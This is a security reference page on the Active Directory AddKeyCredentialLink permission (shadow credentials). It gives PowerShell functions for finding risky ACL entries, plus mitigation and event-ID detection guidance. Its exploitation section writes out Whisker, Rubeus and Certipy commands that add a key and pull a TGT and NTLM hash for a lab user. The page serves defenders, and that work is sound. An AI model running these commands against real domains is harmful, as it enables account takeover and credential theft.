AddKeyCredentialLink

Summary

FSProtect ACL Alias

AddKeyCredentialLink

AD Alias

Write msDS-KeyCredentialLink

Affected Object Types

Users, Computers

Exploitation Certainty

Certain

AD Attribute

msDS-KeyCredentialLink

AD Attribute GUID

5b47d60f-6090-40b2-9f37-2a4de88f3063

AD Right

WriteProperty

Description

The AddKeyCredentialLink permission lets an account write to the msDS-KeyCredentialLink attribute on user or computer objects. This attribute stores public keys used for passwordless logon (for example, Windows Hello for Business). Keys written here are automatically trusted by Active Directory for Kerberos PKINIT authentication and do not require ADCS.

If misconfigured, an attacker can add a key (a "shadow credential"), allowing them to log in as the target account without knowing the password. This enables persistence, privilege escalation, and stealthy impersonation across the domain.

Identification

PowerShell

Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate AddKeyCredentialLink entries.

1. Find-AddKeyCredentialLink function

function Find-AddKeyCredentialLink {
    [CmdletBinding()]
    param ([string]$Target = $null,[string]$SearchBase = $null,[string]$OutputPath = "AddKeyCredentialLink.csv",[switch]$ExcludeAdmins = $false)
    Import-Module ActiveDirectory
    Write-Host "Searching for permissions on the msDS-KeyCredentialLink attribute..."
    $AccessControlType = [System.Security.AccessControl.AccessControlType]::Allow;$ActiveDirectoryRights = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    $KeyCredendialLinkGuid = "5b47d60f-6090-40b2-9f37-2a4de88f3063";$ExcludedSIDs = @()
    if ($ExcludeAdmins) {
        Write-Host "Excluding default administrative groups and built-in accounts."
        $ExcludedSIDs += (New-Object System.Security.Principal.NTAccount "NT AUTHORITY\SYSTEM").Translate([System.Security.Principal.SecurityIdentifier]),
        (New-Object System.Security.Principal.NTAccount "NT AUTHORITY\SELF").Translate([System.Security.Principal.SecurityIdentifier]),
        (New-Object System.Security.Principal.NTAccount "BUILTIN\Account Operators").Translate([System.Security.Principal.SecurityIdentifier]),
        (New-Object System.Security.Principal.NTAccount "BUILTIN\Administrators").Translate([System.Security.Principal.SecurityIdentifier]),
        (New-Object System.Security.Principal.NTAccount "NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS").Translate([System.Security.Principal.SecurityIdentifier])
        $ExcludedSIDs += [System.Security.Principal.SecurityIdentifier]::new("S-1-3-0")
        try {
            $ExcludedSIDs += (Get-ADGroup -Identity "Domain Admins").SID;$ExcludedSIDs += (Get-ADGroup -Identity "Enterprise Admins").SID
            $ExcludedSIDs += (Get-ADGroup -Identity "Schema Admins").SID;$ExcludedSIDs += (Get-ADGroup -Identity "Cert Publishers").SID
            $ExcludedSIDs += (Get-ADGroup -Identity "Group Policy Creator Owners").SID;$ExcludedSIDs += (Get-ADGroup -Identity "Domain Controllers").SID
            $ExcludedSIDs += (Get-ADGroup -Identity "Key Admins").SID;$ExcludedSIDs += (Get-ADGroup -Identity "Enterprise Key Admins").SID
            $ExcludedSIDs += (Get-ADGroup -Identity "DnsAdmins").SID;$ExcludedSIDs += (Get-ADGroup -Identity "RAS and IAS Servers").SID
        }catch {Write-Warning "Could not resolve one or more default domain admin groups. They might not be filtered from results."}}
    $foundAcls = @();$objectsToScan = @()
    try {
        if ($Target) {
            Write-Host "Searching for permissions on specific object: '$Target'."
            $specificObject = Get-ADObject -Identity $Target -Properties nTSecurityDescriptor -ErrorAction Stop
            if ($specificObject) {$objectsToScan += $specificObject} else {
                Write-Output "Object '$Target' not found."
                return}} else {
            Write-Host "Searching for all Active Directory objects."
            $actualSearchBase = if ($SearchBase) { $SearchBase } else { (Get-ADRootDSE).DefaultNamingContext }
            $objectsToScan = Get-ADObject -Filter '*' -SearchBase $actualSearchBase -ErrorAction Stop}
        if (-not $objectsToScan) { Write-Output "No Active Directory objects were found to scan.";return}
        foreach ($obj in $objectsToScan) {
            $ObjectDistinguishedName = $obj.DistinguishedName
            try {$acl = Get-Acl -Path "AD:$ObjectDistinguishedName"
                foreach ($ace in $acl.Access) {
                    $isExcluded = $false
                    if ($ExcludeAdmins) {
                        try {
                            if ($ExcludedSIDs -contains $ace.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier])) {
                                $isExcluded = $true}}catch {Write-Warning "Could not translate SID for exclusion check: $($ace.IdentityReference.Value). Error: $($_.Exception.Message)"}}
                    if ($ace.AccessControlType -eq $AccessControlType -and ($ace.ActiveDirectoryRights -band $ActiveDirectoryRights) -and ($ace.ObjectType -eq $KeyCredendialLinkGuid) -and -not $ace.IsInherited -and -not $isExcluded) {
                        $foundAcls += [PSCustomObject]@{
                            'Vulnerable Object' = $ObjectDistinguishedName
                            'Internal Threat'   = $ace.IdentityReference.Value }}}}
            catch {Write-Warning "Could not retrieve ACL for '$ObjectDistinguishedName': $($_.Exception.Message)"}}}catch {Write-Error "Failed to retrieve Active Directory objects: $($_.Exception.Message)"; return}
    if ($foundAcls.Count -gt 0) {$exclusionMessage = if ($ExcludeAdmins) { " (excluding default admin groups and built-in accounts)" } else { "" }
        Write-Host "Found $($foundAcls.Count) Active Directory object(s) with 'WriteProperty' permissions on the `msDS-KeyCredentialLink` attribute$exclusionMessage."
        try {$foundAcls | Sort-Object -Unique 'Vulnerable Object', 'Internal Threat' | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8;Write-Output "Results exported successfully to '$OutputPath'"}catch {Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)"}} else {$exclusionMessage = if ($ExcludeAdmins) { " (excluding default admin groups and built-in accounts)" } else { "" };Write-Output "No Active Directory objects found with 'WriteProperty' permissions on the `msDS-KeyCredentialLink` attribute$exclusionMessage."}}

2. Scan all objects in the domain

Find-AddKeyCredentialLink

3. Scan a specific object

Find-AddKeyCredentialLink -Target 'CN=VM01,OU=Workstations,DC=forestall,DC=labs'

4. To exclude default admins acls for better vision

Find-AddKeyCredentialLink -ExcludeAdmins

5. Using SearchBase to limit the searching scope

Find-AddKeyCredentialLink -SearchBase "OU=Workstations,DC=forestall,DC=labs"

.NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate AddKeyCredentialLink entries without relying on any external modules or dependencies.

1. Find-AddKeyCredentialLinkSimple function

function Find-AddKeyCredentialLinkSimple {
    [CmdletBinding()]
    param([string]$Target)
    $attrGuid = [guid]"5b47d60f-6090-40b2-9f37-2a4de88f3063"
    $allow    = [System.Security.AccessControl.AccessControlType]::Allow;$wrProp   = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    if ($Target) {
        try { $entries = @([System.DirectoryServices.DirectoryEntry]::new("LDAP://$Target"))} catch {Write-Error "Failed to bind '$Target' : $_";return}
    }
    else {
        try {
            $root   = [ADSI]"LDAP://RootDSE";$baseDN = $root.defaultNamingContext
            $srchRoot = [System.DirectoryServices.DirectoryEntry]::new("LDAP://$baseDN");$ds = [System.DirectoryServices.DirectorySearcher]::new($srchRoot)
            $ds.Filter = "(objectClass=*)";$ds.PageSize = 1000
            [void]$ds.PropertiesToLoad.Add("distinguishedName");$hits = $ds.FindAll()
            $entries = foreach ($h in $hits) {try { $h.GetDirectoryEntry() } catch { continue }}
        } catch {Write-Error "Directory search failed: $_";return}}
    $results = foreach ($e in $entries) {
        $dn = $e.distinguishedName
        try {$aces = $e.ObjectSecurity.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier])} catch {continue}
        foreach ($ace in $aces) {
            if ($ace.AccessControlType -ne $allow) { continue };if (-not ($ace.ActiveDirectoryRights -band $wrProp)) { continue }
            if ($ace.ObjectType -ne $attrGuid) { continue };if ($ace.IsInherited) { continue }
            $who = try {$ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value} catch {$ace.IdentityReference.Value}
            [PSCustomObject]@{
                ObjectDN  = $dn.ToString()
                Principal = $who
                Right     = "WriteProperty(msDS-KeyCredentialLink)"}}}
    if ($results) {$results | Sort-Object ObjectDN, Principal | Export-Csv -Path "AddCredentialKey.csv" -NoTypeInformation -Encoding UTF8;
    } else {if ($Target) {Write-Host "No explicit WriteProperty(msDS-KeyCredentialLink) found on: $Target"} else {Write-Host "No explicit WriteProperty(msDS-KeyCredentialLink) found in directory search."}}}

2. Scan all objects in the domain

Find-AddKeyCredentialLinkSimple

3. Scan a specific object

Find-AddKeyCredentialLinkSimple -Target "CN=VM01,OU=Workstations,DC=forestall,DC=labs"

Active Directory Users and Computers

1. Open Active Directory Users and Computers on your Windows server.

2. Right-click on the object name.

3. Select Properties from the context menu.

4. In the Properties window, navigate to the Security tab.

5. Click on the Advanced button to open the Advanced Security Settings dialog.

6. In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.

7. Click Edit to modify the selected ACE.

8. In the permissions list, locate and check the option Write msDS-KeyCredentialLink.

9. Click OK to save your changes and close the dialogs.

Exploitation

This permission can be exploited on Windows systems with Whisker, while on Linux systems, tools such as Certipy can be effectively used for exploitation.

Windows

An attacker can write the msDS-KeyCredentialLink attribute value on an object using this tool on Windows.

.\whisker.exe add /target:<Vulnerable Object>

Example:

.\Whisker.exe add /target:william

Use the certificate produced by Whisker with Rubeus to request a TGT for the vulnerable user. Rubeus can also return the user’s NTLM hash for pass-the-hash attacks.

Rubeus.exe asktgt /user:<Vulnerable User> /certificate:<Certificate by provided Whisker> /password:<Password by provided Whisker> /domain:<Domain FQDN> /dc:<Domain Controller Address> /getcredentials /show

Example:

.\Rubeus.exe asktgt /user:william /certificate:MII[snip..]A= /password:"0VMgXyf0MVHtlMz7" /domain:Forestall.labs /dc:DC.Forestall.labs /getcredentials /show /enctype:aes128

The output of the Rubeus command is lengthy, but the key information is:

  1. The first part provides the TGT in .kirbi format.

  2. The second part displays the NTLM hash of the target user.

Linux

An attacker with control over the msDS-KeyCredentialLink attribute can use Certipy on Linux to obtain the NT hash and TGT.

certipy shadow auto -u '<Vulnerable User name>@<Domain FQDN>' -p '<Attacker/Internal Thread password>' -account '<Attacker/Internal Thread>'

Example:

certipy-ad shadow auto  -u [email protected] -p 'Temp123!' -account william

Mitigation

Dangerous Access Control Entries should be removed using the steps below.

1. Open Active Directory Users and Computers and enable the Advanced Features option.

2. Double-click the affected object and open the Security tab.

3. In the Security tab, click the Advanced button, locate the dangerous Access Control Entry, and select it.

4. Remove the Write msDS-KeyCredentialLink permission.

5. Click OK and Apply to save your changes.

Detection

Adding or modifying Access Control Entries on Active Directory objects changes the nTSecurityDescriptor attribute of those objects. These changes can be detected using Windows event IDs 5136 and 4662, which can help identify dangerous modifications.

Event ID
Description
Fields/Attributes
References

5136

A directory service object was modified.

ntSecurityDescriptor

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136

4662

An operation was performed on an object.

AccessList, AccessMask

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662

References

Last updated

Was this helpful?